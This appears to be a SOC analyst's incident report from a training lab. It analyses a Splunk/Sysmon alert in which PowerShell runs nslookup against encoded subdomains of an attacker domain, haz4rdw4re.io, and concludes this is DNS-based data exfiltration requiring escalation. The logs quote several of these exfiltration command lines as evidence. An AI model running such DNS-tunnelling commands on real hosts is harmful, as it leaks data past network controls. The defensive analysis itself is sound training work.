

← Case report for event ID: 1025

ID	Alert rule	Description	Incident type	Severity level	Date and time detected
1025	Suspicious Parent Child Relationship	A suspicious process with an uncommon parent-child relationship was detected in your environment.	Process	High	Dec 27th 2025 at 23:56

Alert details

Incident report

Edit report

Incident classification

☒ True positive

☐ False positive

Case report

Please write a detailed report on the steps taken to analyze and contain this incident, including all relevant information and the rationale for its closure.

-Time of Incident: 12/27/2025 15:54:04.164

-User Involved: According to Company Information > Directory:
Name: Michael Ascot
Email: michael.ascot@tryhatme.com
Role: CEO
Logged-in Host: win-3450

-Device: win-3450 (Windows host)

-Incident Details: At 12/27/2025 15:54:04.164, the process nslookup.exe (PID 5520) was executed by powershell.exe (PID 3728) from the directory "C:\Users\michael.ascot\downloads\exfiltration\". The command queried the external domain "Ue5DBQAAAIAngLlVU3cDgAAU.haz4rdw4re.io". This activity indicates scripted DNS queries to an unusual external domain immediately after file access and network drive activity, which is commonly associated with data exfiltration or command-and-control testing via DNS.

-Malware Identified: None explicitly identified. Behavior consistent with potential DNS-based exfiltration or C2 reconnaissance.

Does this alert require escalation?

☒ Yes

☐ No

Save and Close alert

- Alert 1025: Process
- Identified as True Positive
 - Requires escalation to L2
 - Full Report Documented on the last page

splunk>enterprise Apps

Messages Settings Activity Help Find

Search Analytics Datasets Reports Alerts Dashboards

Search & Reporting

New Search

Save As Create Table View Close

1 host.name="win-3450" process.name="nslookup.exe" process.parent.name="powershell.exe"

6 day window

10 of 30 events matched No Event Sampling

Job Visualization

Format Timeline Zoom Out Zoom to Selection Deselect 1 hour per column

< Hide Fields All Fields

SELECTED FIELDS
a host 1
a source 1
a sourcetype 1

INTERESTING FIELDS
a datasource 1
a event.action 1
event.code 1
a host.name 1
a index 1
linecount 1
a process.command_line 10
a process.name 1
a process.parent.name 1
process.parent.pid 1
process.pid 10
a process.working_directory 2
a punct 1
a splunk_server 1
a timestamp 2

+ Extract New Fields

List Format 50 Per Page

> 12/27/25 3:55:33.248 PM

{ [-]
datasource: sysmon
event.action: Process Create (rule: ProcessCreate)
event.code: 1
host.name: win-3450
process.command_line: "C:\Windows\system32\nslookup.exe" VEHNeZE80TczHjfmNGY2ZjA10HE1Mh.haz4rdw4re.io
process.name: nslookup.exe
process.parent.name: powershell.exe
process.parent.pid: 3728
process.pid: 3700
process.working_directory: C:\Users\michael.ascot\downloads\
timestamp: 12/27/2025 15:55:33.248
}
Show as raw text
host = 1010.211182:8989 | source = eventcollector | sourcetype = _json

> 12/27/25 3:55:33.248 PM

{ [-]
datasource: sysmon
event.action: Process Create (rule: ProcessCreate)
event.code: 1
host.name: win-3450
process.command_line: "C:\Windows\system32\nslookup.exe" RmYjEYNGZlMTYlNjZlZlQ==.haz4rdw4re.io
process.name: nslookup.exe
process.parent.name: powershell.exe
process.parent.pid: 3728
process.pid: 3648
process.working_directory: C:\Users\michael.ascot\downloads\
Event ID: 1025 12/27/2025 15:55:33.248

- SIEM Investigation
- For reference: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20)

Submitted report:

-Time of Incident: 12/27/2025 15:54:04.164

-User Involved: According to Company Information > Directory:

Name: Michael Ascot

Email: michael.ascot@tryhatme.com

Role: CEO

Logged-in Host: win-3450

-Device: win-3450 (Windows host)

-Incident Details: At 12/27/2025 15:54:04.164, the process nslookup.exe (PID 5520) was executed by powershell.exe (PID 3728) from the directory `C:\Users\michael.ascot\downloads\exfiltration\`. The command queried the external domain `UEsDBBQAAAAIANigLIfVU3cDlGAAAI.haz4rdw4re.io`. This activity indicates scripted DNS queries to an unusual external domain immediately after file access and network drive activity, which is commonly associated with data exfiltration or command-and-control testing via DNS.

-Malware Identified: None explicitly identified. Behavior consistent with potential DNS-based exfiltration or C2 reconnaissance.

-Additional Investigation: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20) According to SIEM Logs

-Additional info:

Parent Process: powershell.exe was used to programmatically execute the DNS lookup, suggesting automated or scripted behavior rather than manual user activity.

Child Process: nslookup.exe is a legitimate Windows utility used to query DNS records, often abused by attackers to test connectivity or exfiltrate data via DNS requests.

Why This Is Uncommon: DNS lookups initiated by PowerShell from a Downloads subfolder labeled "exfiltration," targeting a suspicious external domain, are not typical for normal user activity. This pattern frequently appears during post-compromise activity for data exfiltration or external communication testing.

-Recommendations: Escalate to Level 2 (L2) for further investigation and handling.

-This is a True Positive

-This needs escalation to L2 for further investigation